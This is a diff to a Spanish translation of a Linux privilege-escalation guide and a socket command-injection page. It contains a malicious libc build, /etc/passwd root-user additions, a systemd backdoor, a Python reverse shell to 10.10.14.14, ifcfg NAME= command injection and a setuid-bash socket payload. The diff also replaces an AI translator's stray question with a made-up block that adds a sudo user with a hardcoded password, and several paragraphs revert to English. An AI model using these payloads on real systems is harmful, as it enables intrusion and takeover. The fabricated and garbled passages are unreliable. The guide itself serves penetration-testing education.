@@ -1124,7 +1123,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
-Luego crea una librería maliciosa en `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
+Luego crea una biblioteca maliciosa en `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```c
#include
#define SHELL "/bin/sh"
@@ -1139,8 +1138,8 @@ execve(file,argv,0);
```
## Capacidades
-Linux capabilities proporcionan un **subconjunto de los privilegios root disponibles a un proceso**. Esto efectivamente divide los **privilegios de root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede entonces ser otorgada de forma independiente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.\
-Lee la siguiente página para **aprender más sobre capabilities y cómo abusarlas**:
+Linux capabilities proporcionan un **subconjunto de los privilegios de root disponibles para un proceso**. Esto efectivamente divide los **privilegios de root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede entonces ser otorgada de forma independiente a los procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.\
+Lee la siguiente página para **aprender más sobre capacidades y cómo abusar de ellas**:
{{#ref}}
@@ -1149,14 +1148,14 @@ linux-capabilities.md
## Permisos de directorio
-En un directorio, el **bit para "execute"** implica que el usuario afectado puede "**cd**" dentro del directorio.\
-El bit **"read"** implica que el usuario puede **list** los **files**, y el bit **"write"** implica que el usuario puede **delete** y **create** nuevos **files**.
+En un directorio, el **bit de "execute"** implica que el usuario afectado puede "**cd**" dentro de la carpeta.\
+El bit **"read"** implica que el usuario puede **listar** los **archivos**, y el bit **"write"** implica que el usuario puede **eliminar** y **crear** nuevos **archivos**.
## ACLs
-Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **sobrescribir los tradicionales permisos ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son propietarios ni forman parte del grupo. Este nivel de **granularidad garantiza una gestión de acceso más precisa**. Más detalles pueden encontrarse [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
+Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **sobrescribir los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a un archivo o directorio al permitir o denegar derechos a usuarios específicos que no son los propietarios ni forman parte del grupo. Este nivel de **granularidad garantiza una gestión de acceso más precisa**. Más detalles se pueden encontrar [**aquí**](https://linuxconfig.org/how-to-manage-acls-on-linux).
-**Conceder** al usuario "kali" permisos read y write sobre un archivo:
+**Dar** al usuario "kali" permisos de lectura y escritura sobre un archivo:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
@@ -1169,12 +1168,12 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Sesiones shell abiertas
-En **versiones antiguas** puedes **hijack** alguna **sesión shell** de un usuario distinto (**root**).\
-En **versiones más recientes** solo podrás **conectarte** a las screen sessions de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**.
+En **versiones antiguas** puedes **hijack** alguna sesión de **shell** de otro usuario (**root**).\
+En **las versiones más recientes** podrás **connect** únicamente a screen sessions de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**.
### screen sessions hijacking
-**Listar screen sessions**
+**List screen sessions**
```bash
screen -ls
screen -ls / # Show another user' screen sessions
@@ -1189,7 +1188,7 @@ screen -x [user]/[session id]
```
## tmux sessions hijacking
-Esto fue un problema con **versiones antiguas de tmux**. No pude realizar un hijack a una sesión de tmux (v2.1) creada por root como usuario no privilegiado.
+Esto era un problema con **versiones antiguas de tmux**. No pude hijackear una sesión de tmux (v2.1) creada por root como usuario sin privilegios.
**Listar sesiones de tmux**
```bash
@@ -1209,53 +1208,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
-Revisa **Valentine box from HTB** para un ejemplo.
+Revisa **Valentine box de HTB** para un ejemplo.
## SSH
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc) entre septiembre de 2006 y el 13 de mayo de 2008 pueden verse afectadas por este bug.\
-Este bug se produce al crear una nueva ssh key en esos OS, ya que **solo 32,768 variaciones eran posibles**. Esto significa que todas las posibilidades pueden calcularse y **teniendo la ssh public key puedes buscar la private key correspondiente**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
+Este bug se produce al crear una nueva ssh key en esos OS, ya que **solo 32,768 variaciones eran posibles**. Esto significa que todas las posibilidades pueden calcularse y **teniendo la ssh public key puedes buscar la corresponding private key**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Interesting configuration values
- **PasswordAuthentication:** Especifica si se permite la autenticación por contraseña. El valor por defecto es `no`.
-- **PubkeyAuthentication:** Especifica si se permite la autenticación por clave pública. El valor por defecto es `yes`.
-- **PermitEmptyPasswords**: Cuando se permite la autenticación por contraseña, especifica si el servidor permite el inicio de sesión en cuentas con cadenas de contraseña vacías. El valor por defecto es `no`.
+- **PubkeyAuthentication:** Especifica si se permite la autenticación mediante public key. El valor por defecto es `yes`.
+- **PermitEmptyPasswords**: Cuando la autenticación por contraseña está permitida, especifica si el servidor permite el login a cuentas con contraseñas vacías. El valor por defecto es `no`.
### PermitRootLogin
-Especifica si root puede iniciar sesión usando ssh, el valor por defecto es `no`. Valores posibles:
+Especifica si root puede iniciar sesión usando ssh, por defecto es `no`. Valores posibles:
-- `yes`: root puede iniciar sesión usando contraseña y private key
-- `without-password` or `prohibit-password`: root solo puede iniciar sesión con una private key
-- `forced-commands-only`: Root solo puede iniciar sesión usando private key y si se especifican las opciones de commands
+- `yes`: root puede iniciar sesión usando password y private key
+- `without-password` or `prohibit-password`: root solo puede iniciar sesión con private key
+- `forced-commands-only`: root solo puede iniciar sesión usando private key y si se especifican las opciones de comandos
- `no` : no
### AuthorizedKeysFile
-Especifica archivos que contienen las public keys que pueden usarse para la autenticación de usuarios. Puede contener tokens como `%h`, que serán reemplazados por el directorio de inicio. **Puedes indicar rutas absolutas** (que empiezan en `/`) o **rutas relativas desde el directorio de inicio del usuario**. Por ejemplo:
+Especifica los archivos que contienen las public keys que pueden usarse para la autenticación de usuarios. Puede contener tokens como `%h`, que serán reemplazados por el home directory. **Puedes indicar rutas absolutas** (que comienzan en `/`) o **rutas relativas desde el home del usuario**. Por ejemplo:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
-Esa configuración indicará que si intentas iniciar sesión con la **private** key del usuario "**testusername**", ssh comparará la public key de tu key con las que están ubicadas en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access`
+Esa configuración indicará que si intentas iniciar sesión con la clave **private** del usuario "**testusername**", ssh va a comparar la public key de tu key con las que están ubicadas en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access`
### ForwardAgent/AllowAgentForwarding
-SSH agent forwarding te permite **use your local SSH keys instead of leaving keys** (without passphrases!) en tu servidor. Así, podrás **jump** via ssh **to a host** y desde allí **jump to another** host **using** la **key** ubicada en tu **initial host**.
+SSH agent forwarding te permite **usar tus local SSH keys en lugar de dejar keys** (¡sin passphrases!) en tu servidor. Así, podrás **jump** vía ssh **a un host** y desde allí **jump a otro** host **usando** la **key** localizada en tu **initial host**.
-Necesitas configurar esta opción en `$HOME/.ssh.config` así:
+Debes configurar esta opción en `$HOME/.ssh.config` así:
```
Host example.com
ForwardAgent yes
```
-Fíjate que si `Host` es `*` cada vez que el usuario salte a una máquina diferente, esa máquina podrá acceder a las claves (lo cual es un problema de seguridad).
+Ten en cuenta que si `Host` es `*`, cada vez que el usuario salte a una máquina diferente, ese host podrá acceder a las keys (lo cual es un problema de seguridad).
-El archivo `/etc/ssh_config` puede **anular** estas **opciones** y permitir o denegar esta configuración.\
+El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\
El archivo `/etc/sshd_config` puede **permitir** o **denegar** ssh-agent forwarding con la palabra clave `AllowAgentForwarding` (por defecto está permitido).
-Si encuentras que Forward Agent está configurado en un entorno, lee la siguiente página ya que **podrías abusar de él para escalar privilegios**:
+Si encuentras que Forward Agent está configurado en un entorno, lee la siguiente página, ya que **you may be able to abuse it to escalate privileges**:
{{#ref}}
@@ -1264,17 +1263,17 @@ ssh-forward-agent-exploitation.md
## Archivos interesantes
-### Archivos de profiles
+### Archivos de perfil
-El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts que se ejecutan cuando un usuario inicia una nueva shell**. Por lo tanto, si puedes **escribir o modificar cualquiera de ellos, puedes escalar privilegios**.
+El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts que se ejecutan cuando un usuario inicia una nueva shell**. Por lo tanto, si puedes **escribir o modificar cualquiera de ellos, puedes escalate privileges**.
```bash
ls -l /etc/profile /etc/profile.d/
```
-Si se encuentra algún script de perfil extraño, debes comprobarlo en busca de **detalles sensibles**.
+Si se encuentra algún script de perfil sospechoso, debes revisarlo en busca de **detalles sensibles**.
### Archivos Passwd/Shadow
-Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden usar un nombre diferente o puede existir una copia de seguridad. Por lo tanto, se recomienda **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos:
+Dependiendo del OS, los archivos `/etc/passwd` y `/etc/shadow` pueden usar un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@@ -1285,15 +1284,25 @@ En algunas ocasiones puedes encontrar **password hashes** dentro del archivo `/e
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
-### Escribible /etc/passwd
+### Escritura en /etc/passwd
-Primero, genera una contraseña con uno de los siguientes comandos.
+Primero, genera un password con uno de los siguientes comandos.
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
-Necesito el contenido de src/linux-hardening/privilege-escalation/README.md para traducirlo. ¿Quieres además que incluya comandos para añadir el usuario `hacker` en una máquina Linux y que genere una contraseña segura? Si es así, ¿prefieres que incluya los comandos exactos (useradd, chpasswd, etc.) o solo instrucciones paso a paso?
+Añadir el usuario `hacker` y establecer la contraseña generada:
+
+Contraseña generada: G7!s9qR@x4Lz2#pW
+
+```bash
+PASSWORD='G7!s9qR@x4Lz2#pW'
+sudo useradd -m -s /bin/bash hacker
+echo "hacker:$PASSWORD" | sudo chpasswd
+sudo usermod -aG sudo hacker
+sudo chage -d 0 hacker
+```
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
@@ -1301,28 +1310,28 @@ Por ejemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Ahora puedes usar el comando `su` con `hacker:hacker`
-Alternativamente, puedes usar las siguientes líneas para añadir un usuario dummy sin contraseña.\
+Alternativamente, puedes usar las siguientes líneas para añadir un usuario ficticio sin contraseña.\
ADVERTENCIA: podrías degradar la seguridad actual de la máquina.
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
-NOTA: En plataformas BSD `/etc/passwd` se encuentra en `/etc/pwd.db` y `/etc/master.passwd`, además `/etc/shadow` se renombra a `/etc/spwd.db`.
+NOTA: En plataformas BSD `/etc/passwd` se encuentra en `/etc/pwd.db` y `/etc/master.passwd`; además, `/etc/shadow` se renombra a `/etc/spwd.db`.
-Debes comprobar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de servicio**?
+Debes comprobar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración del servicio**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
-Por ejemplo, si la máquina está ejecutando un servidor **tomcat** y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/,** entonces puedes modificar las líneas:
+Por ejemplo, si la máquina está ejecutando un servidor **tomcat** y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/**, entonces puedes modificar las líneas:
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
-Tu backdoor se ejecutará la próxima vez que se inicie tomcat.
+Tu backdoor se ejecutará la próxima vez que tomcat se inicie.
-### Comprobar carpetas
+### Revisar carpetas
Las siguientes carpetas pueden contener copias de seguridad o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última, pero inténtalo)
```bash
@@ -1361,7 +1370,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
-### **Script/Binaries en PATH**
+### **Scripts/Binarios en PATH**
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
@@ -1377,22 +1386,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
```
-### Archivos conocidos que contienen contraseñas
+### Archivos conocidos que contienen passwords
-Revisa el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), busca **varios archivos que podrían contener contraseñas**.\
-**Otra herramienta interesante** que puedes usar para ello es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac.
+Lee el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), que busca **varios archivos que podrían contener passwords**.\
+**Otra herramienta interesante** que puedes usar para esto es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto usada para recuperar muchas passwords almacenadas en un equipo local para Windows, Linux & Mac.
### Logs
-Si puedes leer logs, podrías encontrar **información interesante/confidencial en ellos**. Cuanto más extraño sea el log, más interesante será (probablemente).\
-Además, algunos "**mal**" configurados (backdoored?) **audit logs** pueden permitirte **registrar contraseñas** dentro de audit logs como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
+Si puedes leer logs, podrías encontrar **información interesante/confidencial dentro de ellos**. Cuanto más extraño sea el log, más interesante será (probablemente).\
+Además, algunos **audit logs** mal configurados (backdoored?) pueden permitirte **registrar passwords** dentro de audit logs como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/].
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
-Para poder **leer logs**, el grupo [**adm**](interesting-groups-linux-pe/index.html#adm-group) será de gran ayuda.
+Para **leer logs el grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será de gran ayuda.
-### Archivos de Shell
+### Archivos Shell
```bash
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
@@ -1405,22 +1414,22 @@ Para poder **leer logs**, el grupo [**adm**](interesting-groups-linux-pe/index.h
```
### Generic Creds Search/Regex
-También deberías revisar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también comprobar IPs y emails dentro de logs, o hashes regexps.\
-No voy a detallar aquí cómo hacer todo esto, pero si te interesa puedes revisar las últimas comprobaciones que realiza [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
+Deberías también buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también comprobar IPs y emails dentro de logs, o regexps de hashes.\
+No voy a detallar aquí cómo hacer todo esto pero si te interesa puedes revisar los últimos checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
-## Archivos escribibles
+## Archivos con permisos de escritura
### Python library hijacking
-Si sabes **desde dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modificar python libraries**, puedes modificar la OS library y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la os.py library).
+Si sabes desde **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modify python libraries**, puedes modificar la biblioteca OS y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py).
-Para **backdoor the library** simplemente añade al final de la os.py library la siguiente línea (cambia IP y PORT):
+Para **backdoor the library** simplemente añade al final de la librería os.py la siguiente línea (cambia IP y PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Explotación de logrotate
-Una vulnerabilidad en `logrotate` permite a usuarios con **permisos de escritura** sobre un archivo de log o sus directorios padre potencialmente obtener privilegios escalados. Esto se debe a que `logrotate`, que suele ejecutarse como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante revisar permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs.
+Una vulnerabilidad en `logrotate` permite a usuarios con **write permissions** en un archivo de log o en sus directorios padre potencialmente obtener privilegios escalados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante comprobar permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs.
> [!TIP]
> Esta vulnerabilidad afecta a `logrotate` versión `3.18.0` y anteriores
@@ -1429,19 +1438,19 @@ Más información detallada sobre la vulnerabilidad se puede encontrar en esta p
Puedes explotar esta vulnerabilidad con [**logrotten**](https://github.com/whotwagner/logrotten).
-Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** así que siempre que encuentres que puedes modificar logs, verifica quién está gestionando esos logs y comprueba si puedes escalar privilegios sustituyendo los logs por symlinks.
+Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** así que cada vez que encuentres que puedes alterar logs, comprueba quién gestiona esos logs y verifica si puedes escalar privilegios sustituyendo los logs por symlinks.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
-**Referencia de la vulnerabilidad:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
+**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
-Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **modificar** uno existente, entonces tu **sistema está pwned**.
+If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.
-Los scripts de red, _ifcg-eth0_ por ejemplo, se usan para conexiones de red. Parecen exactamente archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d).
+Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d).
-En mi caso, el atributo `NAME=` en estos network scripts no se maneja correctamente. Si tienes **espacios en blanco en el nombre el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**.
+In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**.
-Por ejemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_
+For example: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
NAME=Network /bin/id
ONBOOT=yes
@@ -1449,15 +1458,15 @@ DEVICE=eth0
```
(_Nota el espacio en blanco entre Network y /bin/id_)
-### **init, init.d, systemd, and rc.d**
+### **init, init.d, systemd y rc.d**
-El directorio `/etc/init.d` alberga **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y a veces `reload` de servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos que se encuentran en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`.
+El directorio `/etc/init.d` alberga **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y a veces `reload` de servicios. Estos se pueden ejecutar directamente o a través de enlaces simbólicos en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`.
-Por otro lado, `/etc/init` está asociado con **Upstart**, un **mecanismo de gestión de servicios** más reciente introducido por Ubuntu, que usa archivos de configuración para las tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit siguen utilizándose junto a las configuraciones de Upstart debido a una capa de compatibilidad en Upstart.
+Por otra parte, `/etc/init` está asociado con **Upstart**, una **gestión de servicios** más reciente introducida por Ubuntu, que usa archivos de configuración para tareas de administración de servicios. A pesar de la transición a Upstart, los scripts de SysVinit todavía se utilizan junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart.
-**systemd** surge como un gestor moderno de inicialización y servicios, ofreciendo características avanzadas como arranque de daemons bajo demanda, gestión de automounts y snapshots del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de distribución y `/etc/systemd/system/` para modificaciones del administrador, simplificando la administración del sistema.
+**systemd** surge como un gestor moderno de inicialización y servicios, ofreciendo características avanzadas como arranque de daemons bajo demanda, gestión de automounts y snapshots del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de distribución y en `/etc/systemd/system/` para modificaciones del administrador, simplificando la administración del sistema.
-## Other Tricks
+## Otros trucos
### NFS Privilege escalation
@@ -1466,7 +1475,7 @@ Por otro lado, `/etc/init` está asociado con **Upstart**, un **mecanismo de ges
nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
-### Escapar de shells restringidos
+### Escaping from restricted Shells
{{#ref}}
@@ -1482,7 +1491,7 @@ cisco-vmanage.md
## Android rooting frameworks: manager-channel abuse
-Los Android rooting frameworks suelen hookear una syscall para exponer funcionalidades privilegiadas del kernel a un manager en userspace. Una autenticación débil del manager (p. ej., signature checks basados en FD-order o esquemas de contraseña pobres) puede permitir que una app local suplante al manager y escale a root en dispositivos ya rooteados. Aprende más y detalles de explotación aquí:
+Android rooting frameworks comúnmente hookean un syscall para exponer funcionalidad privilegiada del kernel a un manager en userspace. Una autenticación débil del manager (p. ej., checks de firma basados en FD-order o esquemas de contraseña pobres) puede permitir que una app local se haga pasar por el manager y escale a root en dispositivos ya rooteados. Más detalles y técnicas de explotación aquí:
{{#ref}}
@@ -1491,7 +1500,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
-La detección de servicios impulsada por regex en VMware Tools/Aria Operations puede extraer una ruta de binario desde las líneas de comando de procesos y ejecutarlo con -v en un contexto privilegiado. Patrones permisivos (p. ej., usando \S) pueden coincidir con listeners preparados por un atacante en ubicaciones escribibles (p. ej., /tmp/httpd), llevando a la ejecución como root (CWE-426 Untrusted Search Path).
+La detección de servicios impulsada por Regex en VMware Tools/Aria Operations puede extraer una ruta binaria de las líneas de comando de procesos y ejecutarla con -v bajo un contexto privilegiado. Patrones permisivos (p. ej., usando \S) pueden coincidir con listeners preparados por el atacante en ubicaciones escribibles (p. ej., /tmp/httpd), llevando a la ejecución como root (CWE-426 Untrusted Search Path).
Aprende más y ve un patrón generalizado aplicable a otros stacks de discovery/monitoring aquí:
@@ -1510,7 +1519,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
## Linux/Unix Privesc Tools
-### **Mejor herramienta para buscar vectores de local privilege escalation en Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
+### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
@@ -1521,7 +1530,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
-**Recopilación de más scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
+**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## References
diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md
index 8e6f64439..71126b9b9 100644
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@@ -4,7 +4,7 @@
## Socket binding example with Python
-En el siguiente ejemplo se crea un **unix socket** (`/tmp/socket_test.s`) y todo lo que se **reciba** será **ejecutado** por `os.system`. Sé que no vas a encontrar esto en el mundo real, pero el objetivo de este ejemplo es ver cómo luce un code que usa unix sockets, y cómo gestionar el input en el peor caso posible.
+En el siguiente ejemplo se crea un **unix socket** (`/tmp/socket_test.s`) y todo lo que se **reciba** será **ejecutado** por `os.system`. Sé que no vas a encontrar esto en el mundo real, pero el objetivo de este ejemplo es ver cómo se ve un código que usa unix sockets y cómo manejar la entrada en el peor caso posible.
```python:s.py
import socket
import os, os.path
@@ -26,7 +26,7 @@ print(datagram)
os.system(datagram)
conn.close()
```
-**Ejecuta** el código usando python: `python s.py` y **verifica cómo está escuchando el socket**:
+**Ejecute** el código usando python: `python s.py` y **compruebe cómo está escuchando el socket**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
@@ -37,17 +37,17 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
-## Estudio de caso: escalada desencadenada por señales en socket UNIX propiedad de root (LG webOS)
+## Estudio de caso: Root-owned UNIX socket signal-triggered escalation (LG webOS)
-Algunos daemons privilegiados exponen un socket UNIX propiedad de root que acepta entrada no confiable y asocia acciones privilegiadas a IDs de hilo y señales. Si el protocolo permite que un cliente no privilegiado influya en qué hilo nativo es objetivo, podrías ser capaz de activar una ruta de código privilegiado y escalar.
+Algunos daemons privilegiados exponen un UNIX socket propiedad de root que acepta entrada no confiable y vincula acciones privilegiadas a thread-IDs y señales. Si el protocolo permite que un cliente no privilegiado influya en qué native thread es el objetivo, podrías ser capaz de activar una ruta de código privilegiado y escalar.
Patrón observado:
-- Conéctate a un socket propiedad de root (p. ej., /tmp/remotelogger).
-- Crea un hilo y obtén su id de hilo nativo (TID).
-- Envía el TID (empaquetado) más padding como una petición; recibe una confirmación.
-- Envía una señal específica a ese TID para desencadenar el comportamiento privilegiado.
+- Conectarse a un socket propiedad de root (p.ej., /tmp/remotelogger).
+- Crear un thread y obtener su native thread id (TID).
+- Enviar el TID (packed) más padding como petición; recibir un acknowledgement.
+- Enviar una señal específica a ese TID para activar el comportamiento privilegiado.
-Esquema de PoC mínimo:
+Bosquejo mínimo de PoC:
```python
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
@@ -59,14 +59,14 @@ s.sendall(struct.pack('&1 | nc 23231 > /tmp/f
```
Notas:
